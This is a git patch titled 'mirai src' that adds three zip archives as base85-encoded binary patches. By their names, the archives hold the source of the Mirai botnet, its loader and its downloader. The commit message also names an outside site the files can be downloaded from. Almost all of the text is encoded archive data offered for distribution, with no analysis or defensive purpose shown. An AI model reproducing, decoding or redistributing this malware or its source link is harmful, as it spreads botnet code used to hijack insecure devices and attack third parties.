From 2b105454272dfe3a939c4d947761cb377cf51fed Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 13:57:59 +0800 Subject: [PATCH 01/26] mirai src The files maybe downloaded from http://santasbigcandycane.cx/ --- dlr.src.zip | Bin 0 -> 11218 bytes loader.src.zip | Bin 0 -> 27520 bytes mirai.src.zip | Bin 0 -> 71634 bytes 3 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 dlr.src.zip create mode 100644 loader.src.zip create mode 100644 mirai.src.zip diff --git a/dlr.src.zip b/dlr.src.zip new file mode 100644 index 0000000000000000000000000000000000000000..38586f825c9f7f5ed9d3e0b60444e590c8a4e56f GIT binary patch literal 11218 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 